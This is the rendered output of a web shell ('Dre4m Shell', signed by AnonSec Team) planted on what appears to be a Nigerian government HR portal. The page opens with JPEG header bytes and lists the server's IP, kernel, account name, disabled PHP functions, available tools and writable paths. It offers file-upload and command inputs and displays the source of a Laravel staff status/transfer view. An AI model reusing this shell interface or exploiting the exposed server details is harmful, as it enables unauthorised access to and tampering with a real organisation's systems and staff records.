ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.138.125.223
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/c241b989cc7cd330120afe52955aa2f3cdf8394f.php

<?php $__env->startSection('pageTitle'); ?>
  Staff Status/Transfer
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>

  <form method="post" action="<?php echo e(url('/staffStatus/update')); ?>">
  <div class="box-body">
        <div class="row">
            <div class="col-md-12"><!--1st col-->
            
            <h2 style="margin-bottom:20px">Change Staff Status</h2>
            
                <?php if(count($errors) > 0): ?>
					<div class="alert alert-danger alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error!</strong> 
						<?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
							<p><?php echo e($error); ?></p>
						<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					</div>
                <?php endif; ?>
                       
				<?php if(session('msg')): ?>
                    <div class="alert alert-success alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Success!</strong> 
						<?php echo e(session('msg')); ?>

				    </div>                        
                <?php endif; ?>

            </div>
			<?php echo e(csrf_field()); ?>

            
				<input type="hidden" name="codeID" id="codeID">

				<div class="col-md-12"><!--2nd col-->
					<div class="row">
						<div class="col-md-6">
							<div class="form-group">
								<label for="month">Select Staff Name</label>
								<input type="text"  name="staffName" id="staffName" autocomplete="off" list="enrolledUsers"  class="form-control"  >
                						<datalist id="enrolledUsers">
                					  <?php $__currentLoopData = $staffList; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $staff): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
										<option value="<?php echo e($staff -> ID); ?>">
											<?php echo e($staff -> surname . ' ' . $staff -> first_name . ' ' . $staff -> othernames); ?>

										</option>
									<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                					</datalist>	
								<!--<select name="staffName" id="staffName" class="form-control">
									<option></option>
									<?php $__currentLoopData = $staffList; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $staff): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
										<option value="<?php echo e($staff -> ID); ?>">
											<?php echo e($staff -> surname . ' ' . $staff -> first_name . ' ' . $staff -> othernames); ?>

										</option>
									<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
								</select>-->
							</div>
						</div>	

						<div class="col-md-6">
							<div class="form-group">
								<label for="month">Staff Full Name</label>
								<input type="text" name="name" id="name" readonly class="form-control" />
							</div>
						</div>
						<div class="col-md-6">
							<div class="form-group">
								<label for="month">Division</label>
								<input type="text" name="division" id="division" readonly class="form-control" />
							</div>
						</div>
						<div class="col-md-6">
							<div class="form-group">
								<label for="month">Grade Level</label>
								<input type="text" name="grade" id="grade" readonly class="form-control" />
							</div>
						</div>
						
					</div>	
					<div class="row">
						<div class="col-md-6">
							<div class="form-group">
								<label for="month">Step</label>
								<input type="text" name="step" id="step" readonly class="form-control" />
							</div>
						</div>
						<div class="col-md-6">
							<div class="form-group">
								<label for="month">File Number</label>
								<input type="text" name="fileNo" id="fileNo" readonly class="form-control" />
							</div>
						</div>
					</div>

					<div class="row">
						<div class="col-md-6">
							<div class="form-group">
								<label for="month">Staff Status</label>
								<input type="text" name="staffStatus" id="staffStatus" readonly class="form-control" />
							</div>
						</div>
						<div class="col-md-6">
							<div class="form-group">
								<label for="month">Operation Type</label>
								<div class="row">
									<div class="col-md-6">
										<div class="form-control">
											<input type="radio" value="1" name="radio" id="radio1" checked="checked" /> &nbsp; Status
										</div>
									</div>
									<div class="col-md-6">
										<div class="form-control">
											<input type="radio" value="2" name="radio" id="radio2" /> &nbsp; Transfer
										</div>
									</div>
								</div>
								
							</div>
						</div>	

					
					</div>	

					<div class="row">
						<div class="col-md-6" id="operation1"><!--Employee Status-->
							<div class="form-group">
								
								<label for="month">Staff Status</label>
								<select name="staffStatus" id="staffStatus" class="form-control">
									<option></option>
									<option value="active service">Active Service</option>
									<option value="contract service">Contract Service</option>
									<option value="dismissal">Dismissal</option>
									<option value="maternity leave">Maternity Leave</option>
									<option value="study leave">Study Leave</option>
									<option value="elevation">Elevation</option>
									<option value="resignation">Resignation</option>
									<option value="retirement">Retirement</option>
									<option value="secondment">Secondment</option>
									<option value="non compliance">Non Compliance</option>
									<option value="temporary suspension">Temporary Suspension</option>
									<option value="deceased">Deceased</option>
									<option value="termination">Termination</option>
									<option value="termination">Wrong Entry</option>
								</select>
							</div>
						</div>

						<div class="col-md-6" id="operation2"><!--Division-->
							<div class="form-group">
								<label for="month">Staff Division</label>
								<select name="staffDivision" id="staffDivision" class="form-control">
									<option></option>
									<?php $__currentLoopData = $division; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $division): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
										<option value="<?php echo e($division -> divisionID); ?>">
											<?php echo e($division -> division); ?>

										</option>
									<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
								</select>
							</div>
						</div>		

						<div class="col-md-6">
							<div class="form-group">
								<label for="month">&nbsp;</label><br />
								<input name="action" id="action" class="btn btn-success" type="submit" value="Update Staff Record" />
							</div>
						</div>
					</div>	

				</div>
        </div><!-- /.col -->
    </div><!-- /.row -->
  </form>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
  <script type="text/javascript">
	$('#operation2').hide();
  	(function () {
	$('#radio1').change( function(){
		if ($('#radio1').val() == 1){
			$('#operation1').show();
			$('#operation2').hide();
			$('#action').val('Update Staff Record');
		}
	});}) ();

	(function () {
	$('#radio2').change( function(){
		if ($('#radio2').val() == 2){
			$('#operation2').show();
			$('#operation1').hide();
			$('#action').val('Transfer Staff');
		}
	});}) ();

	(function () {
	  $('#staffName').change( function(){
		$.ajax({
			url: murl +'/staffStatus/findStaff',
			type: "post",
			data: {'staffName': $('#staffName').val(), '_token': $('input[name=_token]').val()},
			success: function(data){
					$('#name').val(data.surname + ' ' + data.first_name + ' ' + data.othernames);
					$('#fileNo').val(data.fileNo);
					$('#grade').val(data.grade);
					$('#step').val(data.step);
					$('#division').val(data.division);
				

					var active ="Active";
					var Inactive ="Inactive";
					if (data.staff_status == 1) {
						$('#staffStatus').val(active);
					} else {
						$('#staffStatus').val(Inactive);
						
					}


					

			}
		})	
	});}) ();


</script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/staffStatus/staffStatus.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team